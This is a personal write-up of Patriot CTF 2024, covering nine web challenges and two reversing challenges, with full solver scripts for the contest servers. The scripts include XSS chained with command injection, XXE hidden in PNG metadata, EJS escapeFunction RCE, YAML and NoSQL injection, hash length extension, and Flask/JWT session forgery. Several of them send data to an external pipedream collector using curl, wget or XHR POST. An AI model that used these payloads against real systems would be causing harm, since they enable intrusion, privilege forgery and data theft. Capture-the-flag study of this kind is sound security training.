14 min read

Patriot CTF 2k24 Writeup

Table of Contents

Introduction

Yesterday I opened to play a bit in Patriot CTF 2k24. It was a lot of fun and diversity in challenges. I managed to solve all of the web challenges and snatch 2 easy reverse ones at the end. Let me share with you my not so developed Writeups, I made sure the code runs and is clear for the solvers.

Giraffe Notes

The goal of this challenge was to find the flag, We had to pass the X-Forwarded-For header with values in the whitelist.

import requests
import re

def get_flag(input_string):
    # Define the regex pattern to match CACI{anything}
    pattern = r'CACI\{.*\}'

    # Search for the pattern in the input string
    match = re.search(pattern, input_string)

    # If a match is found, print it
    if match:
        print(match.group(0))
    else:
        print("No match found")

BASE_URL="http://chal.competitivecyber.club:8081"
resp=requests.get(BASE_URL,headers={"X-Forwarded-For":"localhost"})
get_flag(resp.text)

# CACI{1_lik3_g1raff3s_4_l0t}

References

Impersonate - Web

A very interesting challenge. By visiting the web page we are greeted with a login page. Looking at /status route we can see the server uptime and more importantly the server time, so we can calculate the flask secret key and forge our token.

from itsdangerous.timed import TimestampSigner
import requests
from datetime import datetime, timedelta
import re
import hashlib
import json
from flask.sessions import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer, BadSignature

def get_server_start_time(url):
    response = requests.get(f"{url}/status")

    if response.status_code == 200:
        content = response.text
        uptime_match = re.search(r"Server uptime: (\d+):(\d+):(\d+)", content)
        server_time_match = re.search(r"Server time: (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})", content)

        if uptime_match and server_time_match:
            hours, minutes, seconds = map(int, uptime_match.groups())
            uptime = timedelta(hours=hours, minutes=minutes, seconds=seconds)

            server_time = datetime.strptime(server_time_match.group(1), "%Y-%m-%d %H:%M:%S")

            start_time = server_time - uptime

            return start_time
    return None

def calculate_flask_secret(start_time):
    server_start_str = start_time.strftime('%Y%m%d%H%M%S')
    secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
    return secure_key

def forge_flask_session(secret_key, data):
    serializer = TaggedJSONSerializer()
    signer = URLSafeTimedSerializer(
        secret_key, salt='cookie-session', serializer=serializer,
        signer=TimestampSigner,
        signer_kwargs={'key_derivation': 'hmac', 'digest_method':hashlib.sha1}
    )
    return signer.dumps(data)

def get_flag(url,session):
    resp=requests.get(url+"/admin",cookies={"session":session})
    print(resp.text)


def main():
    server_url = "http://chal.competitivecyber.club:9999"

 # Replace with the actual server URL
    start_time = get_server_start_time(server_url)

    if start_time:
        # print(f"Server start time: {start_time}")
        flask_secret = calculate_flask_secret(start_time)
        # print(f"Calculated Flask secret key: {flask_secret}")

        # Forge a session for an admin user
        session_data = {
            'username': 'administrator',
            'uid': '31333337-1337-1337-1337-133713371337',
            'is_admin': True
        }

        forged_session = forge_flask_session(flask_secret, session_data)
        # print(f"Forged session: {forged_session}")

        # print("\nTo use this session, set the following cookie in your browser:")
        # print(f"session={forged_session}")
        get_flag(server_url,forged_session)
    else:
        print("Unable to determine server start time and calculate Flask secret key.")

if __name__ == "__main__":
    main()

Resources / References

Open Sesame - Web

Looking at the available routes, there is /api/stats/{id} route which displays the username and the score of the user with the given {id}. We can inject an XSS payload which will be triggered when it visits our stats. One last challenge is to find the port of endpoint of the API. Yes, You have to scan for the port for the API of the challenge.

I used naabu with the following command:

naabu chal.competitivecyber.club -p 1000-20000

To exfiltrate the flag, I created a script that interacts with the restricted endpoint with a malicious modifier that triggers the command injection and send me the result.

function sendRequest() {
  let e = `http://127.0.0.1:1337/api/cal?modifier=${encodeURIComponent("MODIFIER")}`,
    t = new XMLHttpRequest();
  t.open("GET", e, !0),
    t.setRequestHeader("Content-Type", "application/json"),
    (t.withCredentials = !0),
    (t.onreadystatechange = function () {
      if (4 === t.readyState && 200 === t.status) {
        let e = JSON.parse(t.responseText);
        e.error ? sendResultToEndpoint(e.error) : sendResultToEndpoint(e.cal);
      }
    }),
    t.send();
}
function sendResultToEndpoint(e) {
  let t = new XMLHttpRequest();
  t.open("POST", "https://en85bx1huyalv.x.pipedream.net/", !0),
    t.setRequestHeader("Content-Type", "application/json"),
    t.send(JSON.stringify({ result: e }));
}
sendRequest();

Replace MODIFIER with ;curl -X POST -d @flag.txt https://en85bx1huyalv.x.pipedream.net/

from urllib.parse import quote
import requests
import threading


# BOT_URL="http://chal.competitivecyber.club:13336/"
BASE_URL="http://chal.competitivecyber.club:13337"
BOT_URL="http://chal.competitivecyber.club:13336"

s=requests.Session()

PAYLOAD="""function sendRequest(){let e=`http://127.0.0.1:1337/api/cal?modifier=${encodeURIComponent("MODIFIER")}`,t=new XMLHttpRequest;t.open("GET",e,!0),t.setRequestHeader("Content-Type","application/json"),t.withCredentials=!0,t.onreadystatechange=function(){if(4===t.readyState&&200===t.status){let e=JSON.parse(t.responseText);e.error?sendResultToEndpoint(e.error):sendResultToEndpoint(e.cal)}},t.send()}function sendResultToEndpoint(e){let t=new XMLHttpRequest;t.open("POST","https://en85bx1huyalv.x.pipedream.net/",!0),t.setRequestHeader("Content-Type","application/json"),t.send(JSON.stringify({result:e}))}; sendRequest();"""

paayload=PAYLOAD.replace("MODIFIER",";curl -X POST -d @flag.txt https://en85bx1huyalv.x.pipedream.net/")

def create_xss_redirects():
    resp=s.post(BASE_URL+"/api/stats",json={"username":f"<script>{paayload}</script>","high_score":"0"})
    print(resp.text)
    id=resp.json()["id"]
    return id


def trigger_xss(id):
    resp=s.post(BOT_URL+"/visit",data={'path':f'/api/stats/{id}'})
    print(resp.text)



id = create_xss_redirects()
print(id)
trigger_xss(id)


# CACI{1_l0v3_c0mm4nd_1nj3ct10n}

DomDom - Web

This challenge involves exploiting the exploitation of a basic XXE (XML External Entity) vulnerability.

Step 1: Crafting the XXE Payload

We start by creating a malicious XML payload designed to read the contents of the /flag.txt file on the server. The payload is then embedded within the Comment metadata of a PNG image using a script.

Step 2: Uploading and Triggering the Payload

Next, we upload the modified image to the server. The server parses the image metadata, triggering our XXE payload, which reads the content of /flag.txt.

Finally, we make a request to the /check endpoint to retrieve the flag. The server includes the contents of the /flag.txt file, which was retrieved due to the XXE vulnerability, in the response to our request.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<methodName>&xxe;</methodName>
import requests

from PIL import Image, PngImagePlugin
from werkzeug.datastructures.headers import Headers
from PIL import Image
from PIL.ExifTags import TAGS
from bs4 import BeautifulSoup

BASE_URL="http://chal.competitivecyber.club:9090"

def modify_comment_info(image_path, new_comment):
    image = Image.open(image_path)
    # Retrieve the existing metadata
    info = image.info
    # Modify the 'Comment' field, or add one if it doesn't exist
    info['Comment'] = new_comment
    # Save the image with the modified metadata
    # For PNG images, ensure you're using PngImagePlugin for saving
    if image.format == 'PNG':
        png_info = PngImagePlugin.PngInfo()
        for key, value in info.items():
            if type (value) == str:
                png_info.add_text(key, value)
        image.save('output.png', pnginfo=png_info)
    else:
        image.save('output.png', "JPEG", quality=95, comment=info['Comment'])

def forge_picture(payload):
    image_path = 'test.png'
    new_comment = payload
    modify_comment_info(image_path,payload )

def upload_picture():
    with open("output.png", "rb") as f:
        resp=requests.post(f"{BASE_URL}/", files={"file":f})
        soup = BeautifulSoup(resp.text, 'html.parser')
        success_text = soup.find(text=lambda t: "Successfully uploaded:" in t)
        if success_text is not None:
            filename = success_text.split("Successfully uploaded: ")[-1].strip()
            print(f"Extracted filename: {filename}")
            return filename
        return None

def get_comment(filename):
    resp=requests.get(f"http://localhost:9090/meta?image={filename}")
    image = Image.open("output.png")
    print(image.info, resp.text)

def get_flag(filename):
    resp=requests.post(f"{BASE_URL}/check", data={"url":f"http://localhost:9090/meta?image={filename}"}, headers={"Host":"localhost:9090"})
    print(resp.text)

XXE_PAYLOAD= open("./tmp.xml").read()
forge_picture(XXE_PAYLOAD)
filename=upload_picture()
# for debugging
# get_comment(filename)
get_flag(filename)

Resources / References

Blob - Web

This challenge is about EJS exploitation.

We can manipulate these settings of templating engine

The escapeFunction will be called on any template injected by the user and that’s the case for the {blob} in the index.ejs.

I reached for the admin to discover that the container has no external connections. So I was forced to modify the return of the function to reflect the output of the executed shell commands.

import requests
import urllib.parse

BASE_URL="http://localhost:3000"
BASE_URL="http://chal.competitivecyber.club:3000"

cmd = 'wget "https://entcgaonlxghp.x.pipedream.net/?$(ls / | base64)"'

resp = requests.get(
    BASE_URL ,params={
        "debug":True,
        "client":True,
        "settings[view options][escapeFunction]":"function(markup){return process.mainModule.require('child_process').execSync('cat flag-6637c8dd34.txt').toString()};",

    }
)

print(resp.text)

Resources / References

KiraSau Problem - Web

It’s YAML injection to bypass the weird conditions. It appears to be outputting the data sent through a GET request in a YAML string the re-parse it. So, the first I tought about is YAML injection.

$countryList = array_flip($countryList);

$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;

if (empty($yaml)) die("No YAML data provided");

$cc = $parsed_arr[1]['country_code'];
if (!$parsed_arr) echo "Error parsing YAML".'<br>';

if (!$input) die("No country code provided");

if (isset($input)) {
    if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
        echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
        echo escapeshellcmd('curl '.$url);
        echo "cc: ".$cc.'<br>';
        run($cc, $url);
    } else {
        die("Country not found");
        return;
    }
}

To summarize the conditions:

  1. We have to send a country query param :)
  2. We need the $parsed_arr[1]["country_code"] to be empty / null

How it looks

- country: $input
- country_code: $countryList[$input]

Let’s try injecting a new line and another key. We’ll input Japan\n- country_code: \n in the input field.

After Injection

- country: japan
- country_code:
- country_code: $countryList[$input]

After successfully bypass the exploit, despite not being able to achieve full RCE we still can manipulate the arguments in the URL to send ourselves the flag with -X POST -d @/get-here/flag.txt https://en85bx1huyalv.x.pipedream.net/.

import requests

BASE_URL = "http://chal.competitivecyber.club:8090"

def exploit():
    res=requests.get(f"{BASE_URL}/challenge.php%3Fooo.php", params={
        "country":"Japan\n- country_code: \n","url":"-X POST -d @/get-here/flag.txt https://en85bx1huyalv.x.pipedream.net/"
    })
    print(res.text)

exploit()

DogDays - Web

This challenge is about length extension. If we look closely to the code we can tell that we always have:

SECRET || IMAGE_FILENAME

We have the result hash in index.php which is given. Yeah, I had some hard time at first when I skipped it. I thought the hashes given were for the test secret :).

We can add /../../../../ after the filename to get path traversal and that’s our append. Stars aligned it’s quite straightforward length extension vulnerability. ( Also another big hint is the deletion of null bytes before path construction )

import requests
import hlextend
import subprocess
import hashlib


BASE_URL = "http://chal.competitivecyber.club:7777"
# BASE_URL="http://localhost:5040"


def check_stx():
    for length in range(1,100):
        print("[+] length",length)
        sha = hlextend.new('sha1')
        append=b"/./../../../../../flag"
        file=b"2.png"
        out_msg=sha.extend(append,file,length,"6e52c023e823622a86e124824efbce29d78b2e73")
        print(out_msg)
        hash=sha.hexdigest()

        resp = requests.get(BASE_URL + "/view.php", params={"pic":out_msg , "hash": hash})
        if "BAD.gif" not in resp.text:
            print(resp.text)
            exit(0)

check_stx()

Resources / References

Secret Door

Secret Door was particularly interesting, requiring a combination of Format string exploitation to leak secrets then JWT/Session forgery to achieve a full-chain exploit.

If you can’t see the Format string vulnerability you will have hard time solving this challenge.

    update_date = time.strftime("%Y-%m-%d %H:%M:%S")
    log_text = f"Email updated to {new_email} at {update_date}"

    log_text = log_text.format(
        new_email=new_email, timestamp=timestamp, update_date=update_date
    )

We have control over the new_email variable and the fact the validate_email function follows the RFC5322, we have free control to inject our cute curly braces to execute some code.

import requests
from itsdangerous.timed import TimestampSigner
from datetime import datetime, timedelta
import re
import hashlib
import json
from flask.sessions import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer, BadSignature
import datetime
import jwt
import html

# BASE_URL = "http://localhost:1337"
BASE_URL="http://chal.competitivecyber.club:1337"


class APIClient:
    def __init__(self):
        # Create a session object to persist the cookies and auth across requests
        self.session = requests.Session()

    def login(self, email, password):
        url = f"{BASE_URL}/api/login"
        data = {"email": email, "password": password}
        response = self.session.post(url, json=data)
        if response.status_code == 200:
            print("Logged in successfully")
            return True
        else:
            print(f"Login failed: {response.status_code} - {response.text}")
            return False

    def register(self, email, password):
        url = f"{BASE_URL}/api/register"
        data = {"email": email, "password": password}
        response = self.session.post(url, json=data)
        if response.status_code == 200:
            print("Registered successfully")
            return True
        else:
            print(f"Registration failed: {response.status_code} - {response.text}")
            return False

    def update_email(self, new_email):
        url = f"{BASE_URL}/api/update-email"
        data = {"email": new_email}
        response = self.session.post(url, json=data)
        if response.status_code == 200:
            print("Email updated successfully")

            return True
        else:
            print(f"Update email failed: {response.status_code} - {response.text}")
            return False

    def view_logs(self):
        url = f"{BASE_URL}/api/view-logs"
        response = self.session.get(url)
        if response.status_code == 200:
            logs = response.json()
            return logs
        else:
            print(f"Failed to retrieve logs: {response.status_code} - {response.text}")
            return None


def create_JWT(email: str, role, jwt_key):
    utc_time = datetime.datetime.now(datetime.UTC)
    token_expiration = utc_time + datetime.timedelta(minutes=1000)
    data = {"email": email, "exp": token_expiration, "role": role}
    encoded = jwt.encode(data, jwt_key, algorithm="HS256")
    return encoded


def verify_JWT(token, jey_key):
    try:
        token_decode = jwt.decode(token, jwt_key, algorithms="HS256")
        return token_decode
    except:
        return abort(401, "Invalid authentication token!")


def forge_flask_session(secret_key, data):
    serializer = TaggedJSONSerializer()
    signer = URLSafeTimedSerializer(
        secret_key,
        salt="cookie-session",
        serializer=serializer,
        signer=TimestampSigner,
        signer_kwargs={"key_derivation": "hmac", "digest_method": hashlib.sha1},
    )
    return signer.dumps(data)


def get_flag(session):
    url = f"{BASE_URL}/admin"
    response = requests.get(url, cookies={"session": session})
    if response.status_code == 200:
        print(response.text)
    else:
        print(f"Failed to retrieve flag: {response.status_code} - {response.text}")


if __name__ == "__main__":
    client = APIClient()

    email = "aaaaaaaaaa@example.com"  # Replace with actual email
    password = "your_password"  # Replace with actual password
    client.register(email, password)
    if client.login(email, password):
        # 2. Optionally, register a new user
        new_email = "{timestamp.__globals__}'@caew.com"  # Replace with actual new email

        # 3. Update email
        client.update_email(new_email)
        client.login(new_email, password)
        # 4. View logs
        logs = client.view_logs()
        for log in logs:
            print(html.unescape(log["log_text"]))

        jwt_key = input("jwt key >")
        flask_secret = input("flask secret >")
        jwt = create_JWT(new_email, "admin", jwt_key)

        session = forge_flask_session(flask_secret, {"auth": jwt})

        get_flag(session)

Resources / References

BdogNom - Web

After some googling I discovered the The $facet operator allows us to execute multiple aggregation on the database.

Then I went to implement the same query described here under the $facet operator

MongoDB NoSQL Injection with Aggregation Pipelines

{
  "$facet": {
    "tasksCollection": [
      {
        "$match": {}
      }
    ],
    "configCollection": [
      {
        "$unionWith": {
          "coll": "config",
          "pipeline": [
            {
              "$addFields": {
                "collection": "config"
              }
            }
          ]
        }
      }
    ]
  }
}

The first stage is to query the tasks collection then merge them with config collection adding a field called config containing the whole collection.

import requests
import json

BASE_URL = "http://chal.competitivecyber.club:3002/"

s = requests.Session()


def register_user(username, first_name, last_name, password):
    url = f"{BASE_URL}/api/v0/user/register"
    headers = ({"Content-Type": "application/json"},)
    data = {
        "username": username,
        "firstName": first_name,
        "lastName": last_name,
        "password": password,
    }
    response = requests.post(url, json=data)
    return response.text


def login_user(username, password):
    url = f"{BASE_URL}/api/v0/user/login"
    data = {"username": username, "password": password}
    response = s.post(
        url,
        json=data,
        headers={"Content-Type": "application/json"},
        allow_redirects=True,
    )
    return response.text


def get_user_profile():
    url = f"{BASE_URL}/api/v0/user"
    response = s.get(url)
    return response.json()


def add_task(title):
    url = f"{BASE_URL}/api/v0/tasks"
    data = {"title": title}
    response = s.post(url, json=data, headers={"Content-Type": "application/json"})
    return response.json()


# Update Task (Mark as Completed)
def update_task(task_id, completed=True):
    url = f"{BASE_URL}/api/v0/tasks/{task_id}"
    data = {"completed": completed}
    response = s.put(
        url + f"/{task_id}", json=data, headers={"Content-Type": "application/json"}
    )
    print(response.text, response.status_code)
    return response.json()


# Search Tasks with Filters
def search_tasks():
    url = f"{BASE_URL}/api/v0/tasks/search"
    response = s.get(
        url,
        json={
            "filter": json.loads(
                '{"$facet":{"tasksCollection":[{"$match":{"foo":"bar"}}],"configCollection":[{"$unionWith":{"coll":"config","pipeline":[{"$addFields":{"collection":"config"}}]}}]}}'
            )
        },
        headers={"Content-Type": "application/json"},
    )
    print(response.text)
    return response.json()


def all_tasks():
    url = f"{BASE_URL}/api/v0/tasks"
    response = s.get(url)
    return response.json()


# Example usage
if __name__ == "__main__":
    # Register a new user
    print("Registering user:")
    print(register_user("testuser", "John", "Doe", "password123"))

    # Log in with the user credentials
    print("\nLogging in user:")
    login_user("testuser", "password123")
    updated_tasks = search_tasks()
    print(updated_tasks)
    print(all_tasks())

Resources / References

Password Protector - Rev

For this challenge we got a binary and a prompt.

"Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i'll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"

Looking at the binary in an online decompiler we can see that it’s a simple program that takes input then do some operations on it and compare it to another hardcoded string.

import os
import secrets
from base64 import *

def promptGen():
    flipFlops = lambda x: chr(ord(x) + 1)
    with open('topsneaky.txt', 'rb') as f:
        first = f.read()
    bittys = secrets.token_bytes(len(first))
    onePointFive = int.from_bytes(first) ^ int.from_bytes(bittys)
    second = onePointFive.to_bytes(len(first))
    third = b64encode(second).decode('utf-8')
    bittysEnc = b64encode(bittys).decode('utf-8')
    fourth = ''
    for each in third:
        fourth += flipFlops(each)
    fifth = f"Mwahahaha you will n{fourth[0:10]}ever crack into my pass{fourth[10:]}word, i'll even give you the key and the executable:::: {bittysEnc}"
    return fifth

def main():
    print(promptGen())
if __name__ == '__main__':
    main()```

[Decompiler](https://pylingual.io/view_chimera?identifier=a8248199c23e2852cded943489637e2abf5f6cc0af576d3eb98eac570268530f)

We need to reverse the promptGen and get the contents of `topsneaky.txt`, the function does the following:

* It takes the user's input and generates a secret then XOR it with it
* It base64 encodes the result.
* It base64 encode the secret.
* It shifts the chars right for the base64 encoded XOR result.
* It constructs a string with them.

To reverse the process, we can write a Python script which basically `base64` decode the relevant strings and reverse flop them.
- It retrieves the parts
- Base64 decodes them all.
- Shift left for the previously Xored string
- XOR back and prints the flag :)

```python
from base64 import b64decode
def reverseFlipFlops(x):
        return chr(ord(x) - 1)
def reversePromptGen(fifth):
    # Extract the encoded part of the string

    encoded_part="Ocmu{9gtufMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp"
    bittysEnc = "Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"
    # Reverse the flipFlops operation

    fourth = ''
    for each in encoded_part:
        fourth += reverseFlipFlops(each)
    # Base64 decode the reversed string
    second = b64decode(fourth+"==")
    # Base64 decode the key
    bittys = b64decode(bittysEnc)
    # XOR the decoded bytes with the key to get the original content
    onePointFive = int.from_bytes(second) ^ int.from_bytes(bittys)
    first = onePointFive.to_bytes(len(second))
    return first

Revioli - Rev

Well, I opened the binary in Cutter and understood the assignment immediately. I had to get the flag after it’s assembled in assemble_flag function. So I put a break point and printed the returned result of the function with GDB.

Final words

The CTF was enjoyable overall, despite a few technical issues, particularly with Blob. It turned out to be a great learning experience. I especially appreciated the BdogNom challenge, where I gained valuable insights into MongoDB aggregations. A big thank you to the authors and organizers—looking forward to next year! 🎇

Cool image

If you got any questions feel free to ask me on twitter @YBK_Firelights or on discord Ophelius#3779. Happy hacking \o/ 🧨⚡